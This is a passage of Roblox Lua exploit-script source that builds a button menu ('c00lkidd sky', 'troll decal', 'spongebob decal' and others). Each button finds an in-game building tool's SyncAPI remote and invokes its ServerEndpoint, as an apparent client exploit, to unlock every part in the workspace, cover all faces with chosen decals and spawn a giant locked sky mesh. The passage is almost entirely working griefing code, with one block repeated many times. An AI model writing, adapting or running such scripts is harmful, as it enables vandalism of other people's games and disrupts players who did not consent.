MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("132549917572326") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.42, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "troll decal" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("95921788891849") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.42, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "c00lkidd sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("158118263") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.46, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "c00lkidd decal" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("158118263") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.46, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Sky 2" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("72497671152590") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.46, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Decal 2" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("72497671152590") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.46, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Spongebob sky" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(99999,99999,99999)) SetLocked(v,true) end end end Sky("132578977273720") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.5, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "spongebob decal" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("132578977273720") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = 